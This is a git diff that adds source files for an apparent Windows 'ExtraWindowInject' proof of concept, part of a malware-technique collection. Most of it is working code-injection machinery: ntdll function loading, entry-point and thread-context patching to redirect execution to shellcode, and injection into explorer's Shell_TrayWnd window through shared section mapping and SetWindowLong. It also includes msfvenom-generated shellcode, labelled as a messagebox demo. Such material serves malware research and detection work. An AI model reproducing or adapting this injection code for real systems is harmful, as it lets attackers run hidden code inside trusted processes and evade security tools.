+RtlCreateAcl( + IN PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ACCESS_MASK AccessMask, + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ULONG AccessMask, + IN PSID Sid + ); + +//----------------------------------------------------------------------------- +// Token functions + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN PTOKEN_PRIVILEGES NewState OPTIONAL, + IN ULONG BufferLength OPTIONAL, + IN PTOKEN_PRIVILEGES PreviousState OPTIONAL, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN IdenticalTokens + ); + + +//----------------------------------------------------------------------------- +// Symbolic links + +// +// Object Manager Symbolic Link Specific Access Rights. +// + +#ifndef SYMBOLIC_LINK_QUERY +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#endif + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE SymbolicLinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE SymbolicLinkHandle, + OUT PUNICODE_STRING NameString, + OUT PULONG ResultLength OPTIONAL + ); + +//----------------------------------------------------------------------------- +// Loader functions + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID * DllHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN PANSI_STRING ProcedureName OPTIONAL, + IN ULONG ProcedureNumber OPTIONAL, + OUT PVOID *ProcedureAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + IN PVOID Address, + OUT PLDR_DATA_TABLE_ENTRY *Module + ); + +NTSYSAPI +VOID +NTAPI + RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +//----------------------------------------------------------------------------- +// Functions dealing with NTSTATUS and Win32 error + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + NTSTATUS Status + ); + + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + NTSTATUS Status + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + ); + + +NTSYSAPI +ULONG +NTAPI +RtlGetLastWin32Error( + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + ULONG WinError + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + + +//----------------------------------------------------------------------------- +// I/O functions + + +NTSYSAPI +NTSTATUS +NTAPI +NtDisplayString( + IN PUNICODE_STRING String + ); + + +#ifdef __cplusplus +} // extern "C" +#endif + +#endif // __NTDLL_H__ diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/ntdll_undoc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/ntdll_undoc.h new file mode 100644 index 00000000..7af4d33e --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/ntdll_undoc.h @@ -0,0 +1,72 @@ +#pragma once + +#include +#include "ntddk.h" + +//undocumented functions from ntdll.dll +// +//don't forget to load functions before use: +//load_ntdll_functions(); + +NTSTATUS (NTAPI *NtQueueApcThread)( + IN HANDLE ThreadHandle, + IN PVOID ApcRoutine, + IN PVOID ApcRoutineContext OPTIONAL, + IN PVOID ApcStatusBlock OPTIONAL, + IN ULONG ApcReserved OPTIONAL +); + +NTSTATUS (NTAPI *ZwSetInformationThread) ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength +); + +NTSTATUS (NTAPI *ZwCreateThreadEx) ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ProcessHandle, + IN PVOID StartRoutine, + IN PVOID Argument OPTIONAL, + IN ULONG CreateFlags, + IN ULONG_PTR ZeroBits, + IN SIZE_T StackSize OPTIONAL, + IN SIZE_T MaximumStackSize OPTIONAL, + IN PVOID AttributeList OPTIONAL +); + +NTSTATUS (NTAPI *RtlCreateUserThread) ( + IN HANDLE ProcessHandle, + IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, + IN BOOLEAN CreateSuspended, + IN ULONG StackZeroBits, + IN OUT PULONG StackReserved, + IN OUT PULONG StackCommit, + IN PVOID StartAddress, + IN PVOID StartParameter OPTIONAL, + OUT PHANDLE ThreadHandle, + OUT PCLIENT_ID ClientID +); + + +BOOL load_ntdll_functions() +{ + HMODULE hNtdll = GetModuleHandleA("ntdll"); + if (hNtdll == NULL) return FALSE; + + NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,"NtQueueApcThread"); + if (NtQueueApcThread == NULL) return FALSE; + + ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,"ZwSetInformationThread"); + if (ZwSetInformationThread == NULL) return FALSE; + + ZwCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,"ZwCreateThreadEx"); + if (ZwCreateThreadEx == NULL) return FALSE; + + RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,"RtlCreateUserThread"); + if (RtlCreateUserThread == NULL) return FALSE; + + return TRUE; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/patch_context.h b/Win32/Proof of Concepts/ExtraWindowInject/src/patch_context.h new file mode 100644 index 00000000..925194cb --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/patch_context.h @@ -0,0 +1,39 @@ +#pragma once + +#include + +//32-bit version +bool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr) +{ + //get initial context of the target: + BOOL res = FALSE; + +#if defined(_WIN64) + WOW64_CONTEXT context; + memset(&context, 0, sizeof(WOW64_CONTEXT)); + context.ContextFlags = CONTEXT_INTEGER; + res = Wow64GetThreadContext(hThread, &context); +#else + CONTEXT context; + memset(&context, 0, sizeof(CONTEXT)); + context.ContextFlags = CONTEXT_INTEGER; + res = GetThreadContext(hThread, &context); +#endif + if (res == FALSE) { + return false; + } + + //if the process was created as suspended and didn't run yet, EAX holds it's entry point: + context.Eax = (DWORD) remote_shellcode_ptr; + +#if defined(_WIN64) + Wow64SetThreadContext(hThread, &context); +#else + res = SetThreadContext(hThread, &context); +#endif + if (res == FALSE) { + return false; + } + printf("patched context -> EAX = %x\n", context.Eax); + return true; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/patch_ep.h b/Win32/Proof of Concepts/ExtraWindowInject/src/patch_ep.h new file mode 100644 index 00000000..ebee2b3b --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/patch_ep.h @@ -0,0 +1,140 @@ +#pragma once +#include +#include "ntddk.h" +#include "pe_hdrs_helper.h" +#define PAGE_SIZE 0x1000 + +// Get image base by a method #1: +LPCVOID getTargetImageBase1(HANDLE hProcess) +{ + PROCESS_BASIC_INFORMATION pbi; + memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION)); + + if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0) + { + printf("[ERROR] NtQueryInformationProcess failed\n"); + return NULL; + } + + printf("PEB = %p\n", (LPVOID)pbi.PebBaseAddress); + + LPCVOID ImageBase = 0; + SIZE_T read_bytes = 0; + if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes) + || read_bytes != sizeof(ImageBase) + ) + { + printf("[ERROR] Cannot read from PEB - incompatibile target!\n"); + return NULL; + } + return ImageBase; +} + +// Get image base by a method #2: +// WARNING: this method of getting Image Base works only if +// the process has been created as a SUSPENDED and didn't run yet +// - it uses specific values of the registers, that are set only in this case. +LPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread) +{ + //get initial context of the target: +#if defined(_WIN64) + WOW64_CONTEXT context; + memset(&context, 0, sizeof(WOW64_CONTEXT)); + context.ContextFlags = CONTEXT_INTEGER; + Wow64GetThreadContext(hThread, &context); +#else + CONTEXT context; + memset(&context, 0, sizeof(CONTEXT)); + context.ContextFlags = CONTEXT_INTEGER; + GetThreadContext(hThread, &context); +#endif + //get image base of the target: + DWORD PEB_addr = context.Ebx; + + const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit + DWORD targetImageBase = 0; //for 32 bit + + printf("PEB = %x\n", PEB_addr); + + if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) { + printf("[ERROR] Cannot read from PEB - incompatibile target!\n"); + return false; + } + return (LPCVOID)((ULONGLONG)targetImageBase); +} + +bool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL) +{ + LPCVOID ImageBase = NULL; //target ImageBase + if (hThread != NULL) { + ImageBase = getTargetImageBase2(hProcess, hThread); + } else { +#if defined(_WIN64) + printf("[ERROR] 64bit version of this method is not implemented!\n"); + return false; +#else + ImageBase = getTargetImageBase1(hProcess); +#endif + } + if (ImageBase == NULL) { + printf("[ERROR] Fetching ImageBase failed!\n"); + return false; + } + printf("ImageBase = 0x%p\n", ImageBase); + + // read headers: + SIZE_T read_bytes = 0; + BYTE hdrs_buf[PAGE_SIZE]; + if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf)) + { + printf("[-] ReadProcessMemory failed\n"); + return false; + } + + // fetch Entry Point From headers + IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf); + if (inh == NULL) return false; + + IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader; + DWORD ep_rva = opt_hdr.AddressOfEntryPoint; + + printf("Entry Point v: %x\n", ep_rva); + printf("shellcode ptr: %p\n", remote_shellcode_ptr); + + //make a buffer to store the hook code: + const SIZE_T kHookSize = 0x10; + BYTE hook_buffer[kHookSize]; + memset(hook_buffer, 0xcc, kHookSize); + + //prepare the redirection: + //address of the shellcode will be pushed on the stack and called via ret + hook_buffer[0] = 0x68; //push + hook_buffer[5] = 0xC3; //ret + + //for 32bit code: + DWORD shellcode_addr = (DWORD)remote_shellcode_ptr; + memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr)); + + //make a memory page containing Entry Point Writable: + DWORD oldProtect; + if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { + printf("Virtual Protect Failed!\n"); + return false; + } + + //paste the redirection at Entry Point: + SIZE_T writen_bytes = 0; + if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes)) + { + printf("[-] WriteProcessMemory failed, err = %d\n", GetLastError()); + return false; + } + + //restore the previous access rights at entry point: + DWORD oldProtect2; + if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) { + printf("Virtual Protect Failed!\n"); + return false; + } + return true; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/payload.h b/Win32/Proof of Concepts/ExtraWindowInject/src/payload.h new file mode 100644 index 00000000..f0b5fa8b --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/payload.h @@ -0,0 +1,30 @@ +#pragma once + +/* +msfvenom -a x86 --platform Windows +-p windows/messagebox +TEXT="This is an injection demo!" +TITLE="Injection Demo" +-f c +*/ + unsigned char g_Shellcode[] = +"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b" +"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b" +"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24" +"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a" +"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" +"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c" +"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a" +"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2" +"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f" +"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52" +"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33" +"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89" +"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" +"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20" +"\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88" +"\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d" +"\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69" +"\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24" +"\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff" +"\x55\x08"; diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.cpp new file mode 100644 index 00000000..59234455 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.cpp @@ -0,0 +1,32 @@ +#include "pe_hdrs_helper.h" + +IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer) +{ + if (pe_buffer == NULL) return NULL; + + IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; + if (idh->e_magic != IMAGE_DOS_SIGNATURE) { + return NULL; + } + const LONG kMaxOffset = 1024; + LONG pe_offset = idh->e_lfanew; + if (pe_offset > kMaxOffset) return NULL; + + IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset); + return inh; +} + +IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id) +{ + if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; + + //fetch relocation table from current image: + PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer); + if (nt_headers == NULL) return NULL; + + IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); + if (peDir->VirtualAddress == NULL) { + return NULL; + } + return peDir; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.h b/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.h new file mode 100644 index 00000000..ba758a20 --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.h @@ -0,0 +1,5 @@ +#pragma once +#include + +IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer); +IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id); diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.cpp new file mode 100644 index 00000000..18e35e9e --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.cpp @@ -0,0 +1,52 @@ +#pragma once +#include "sysutil.h" + +#include +#include + +#include "pe_hdrs_helper.h" + +typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); + +bool is_compiled_32b() +{ + if (sizeof(LPVOID) == sizeof(DWORD)) { + return true; + } + return false; +} + +bool is_wow64() +{ + LPFN_ISWOW64PROCESS fnIsWow64Process; + BOOL bIsWow64 = false; + + //IsWow64Process is not available on all supported versions of Windows. + //Use GetModuleHandle to get a handle to the DLL that contains the function + //and GetProcAddress to get a pointer to the function if available. + + fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); + if (fnIsWow64Process == NULL) { + return false; + } + if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { + return false; + } + if (bIsWow64 == TRUE) { + return true; //64 bit + } + return false; //32 bit +} + +bool is_system32b() +{ + //is the current application 32 bit? + if (!is_compiled_32b()) { + return false; + } + //check if it is running under WoW + if (is_wow64()) { + return false; + } + return true; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.h b/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.h new file mode 100644 index 00000000..b6f8b9da --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.h @@ -0,0 +1,9 @@ +#pragma once +#include + +#define PAGE_SIZE 0x1000 + +bool is_compiled_32b(); +bool is_wow64(); +bool is_system32b(); +bool is_target_32bit(HANDLE hProcess, LPVOID ImageBase); diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/target_util.h b/Win32/Proof of Concepts/ExtraWindowInject/src/target_util.h new file mode 100644 index 00000000..30f9e15e --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/target_util.h @@ -0,0 +1,117 @@ +#pragma once +#include + +void replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal) +{ + wchar_t * pwc; + printf("--\n"); + pwc = wcsstr (cmdBuf, L"%1"); + if (pwc == NULL) return; //param not found + + SIZE_T paramLen = wcslen(paramVal); + SIZE_T offset = pwc - cmdBuf; + if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer + + wcsncpy (pwc, paramVal, paramLen); + + cmdBuf[offset + paramLen + 1] = NULL; + if (offset == 0) return; + + if (cmdBuf[offset-1] == '\"' || cmdBuf[offset-1] == '\'') { + cmdBuf[offset + paramLen] = cmdBuf[0]; + cmdBuf[offset + paramLen + 1] = NULL; + } +} + +void remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen) +{ + wchar_t * pwc; + printf("--\n"); + + WCHAR extension[] = L".exe"; + SIZE_T extensionLen = wcslen(extension); + pwc = wcsstr (cmdLine, extension); + if (pwc == NULL) return; + + SIZE_T offset = pwc - cmdLine; + cmdLine[offset + extensionLen] = NULL; + if (cmdLine[0] == '\"' || cmdLine[0] == '\'') { + cmdLine[offset + extensionLen] = cmdLine[0]; + cmdLine[offset + extensionLen + 1] = NULL; + } +} + +bool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH) +{ + wchar_t * pwc; + pwc = wcsrchr (cmdLine, L'\\'); + if (pwc == NULL) { + pwc = wcsrchr (cmdLine, L'/'); + } + if (pwc == NULL) return false; + + SIZE_T offset = pwc - cmdLine + 1; + if (offset >= dirBufLen) return false; + + if (cmdLine[offset] != '\"' && cmdLine[offset] != '\'') { + return false; + } + if (cmdLine[0] == '\"' || cmdLine[0] == '\'') { + wcsncpy(dirBuf, cmdLine+1, offset-1); + dirBuf[offset-1] = NULL; + } else { + wcsncpy(dirBuf, cmdLine, offset); + dirBuf[offset + 1] = NULL; + } + printf("Dir: %S\n", dirBuf); + return true; +} + +bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath) +{ + HKEY phkResult; + DWORD iMaxLen = szOutPath; + + LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult); + if (res != ERROR_SUCCESS) { + printf("[ERROR] Failed with value = %x\n", res); + return false; + } + + res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen); + if (res != ERROR_SUCCESS) { + printf("[ERROR] Failed with value = %x\n", res); + return false; + } + replace_param(lpwOutPath, szOutPath, L"www.google.com"); + return true; +} + +bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath) +{ +#if defined(_WIN64) + ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath); +#else + ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); +#endif + printf("%S\n", lpwOutPath); + return true; +} + +bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath) +{ +#if defined(_WIN64) + ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath); +#else + ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath); +#endif + printf("%S\n", lpwOutPath); + return true; +} + +bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath) +{ + ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath); + printf("%S\n", lpwOutPath ); + return true; +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/util.h b/Win32/Proof of Concepts/ExtraWindowInject/src/util.h new file mode 100644 index 00000000..ad42b7eb --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/util.h @@ -0,0 +1,14 @@ +#pragma once + +void hex_dump(unsigned char *buf, size_t buf_size) +{ + size_t pad = 8; + size_t col = 16; + putchar('\n'); + for (size_t i = 0; i < buf_size; i++) { + if (i != 0 && i % pad == 0) putchar('\t'); + if (i != 0 && i % col == 0) putchar('\n'); + printf("%02X ", buf[i]); + } + putchar('\n'); +} diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.cpp new file mode 100644 index 00000000..8f59708e --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.cpp @@ -0,0 +1,115 @@ +#include "window_long_inject.h" + +#include + +//for injection into Shell_TrayWnd +PVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize) +{ + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES hAttributes; + memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES)); + + LARGE_INTEGER maxSize; + maxSize.HighPart = 0; + maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers + NTSTATUS status = NULL; + if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) + { + printf("[ERROR] ZwCreateSection failed, status : %x\n", status); + return NULL; + } + + PVOID sectionBaseAddress = NULL; + ULONG viewSize = 0; + SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE + + // map the section in context of current process: + if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) + { + printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); + return NULL; + } + printf("Section BaseAddress: %p\n", sectionBaseAddress); + + //map the new section into context of opened process + PVOID sectionBaseAddress2 = NULL; + if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) + { + printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); + return NULL; + } + + LPVOID shellcode_remote_ptr = sectionBaseAddress2; + LPVOID shellcode_local_ptr = sectionBaseAddress; + + //the same page have double mapping - remote and local, so local modifications are reflected remotely + memcpy (shellcode_local_ptr, shellcode, shellcodeSize); + printf("Shellcode copied!\n"); + + LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize; + LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize; + + //store the remote addresses + PVOID buf_va = (BYTE*) handles_remote_ptr; + LONG hop1 = (LONG) buf_va + sizeof(LONG); + LONG shellc_va = (LONG) shellcode_remote_ptr; + + //fill the pointers + memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG)); + memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG)); + + //unmap from the context of current process + ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress); + ZwClose(hSection); + + printf("Section mapped at address: %p\n", sectionBaseAddress2); + return shellcode_remote_ptr; +} + +bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize) +{ + HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL); + if (hWnd == NULL) return false; + + DWORD pid = 0; + GetWindowThreadProcessId(hWnd, &pid); + printf("PID:\t%d\n", pid); + //save the current value, because we will need to recover it: + LONG winLong = GetWindowLongW(hWnd, 0); + printf("WindowLong:\t%lx\n", winLong); + + HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid); + if (hProcess == NULL) { + return false; + } + + LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize); + if (remote_shellcode_ptr == NULL) { + return false; + } + LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize; + + printf("Saving handles to:\t%p\n", remote_handles_ptr); + + //set the handle to the injected: + SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr); + + //send signal to execute the injected code + SendNotifyMessage(hWnd, WM_PAINT, 0, 0); + + //procedure will be triggered on every message + //in order to avoid repetitions, injected code should restore the previous value after the first exection + //here we are checking if it is done + size_t max_wait = 5; + while (GetWindowLong(hWnd, 0) != winLong) { + //not restored, wait more + Sleep(100); + if ((max_wait--) == 0) { + //don't wait longer, restore by yourself + SetWindowLong(hWnd, 0, winLong); + SendNotifyMessage(hWnd, WM_PAINT, 0, 0); + } + } + CloseHandle(hProcess); + return true; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.h b/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.h new file mode 100644 index 00000000..9be4b9ed --- /dev/null +++ b/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.h @@ -0,0 +1,6 @@ +#pragma once + +#include +#include "ntddk.h" + +bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize); diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64.sln b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64.sln new file mode 100644 index 00000000..4c67c0f5 --- /dev/null +++ b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64.sln @@ -0,0 +1,26 @@ + +Microsoft Visual 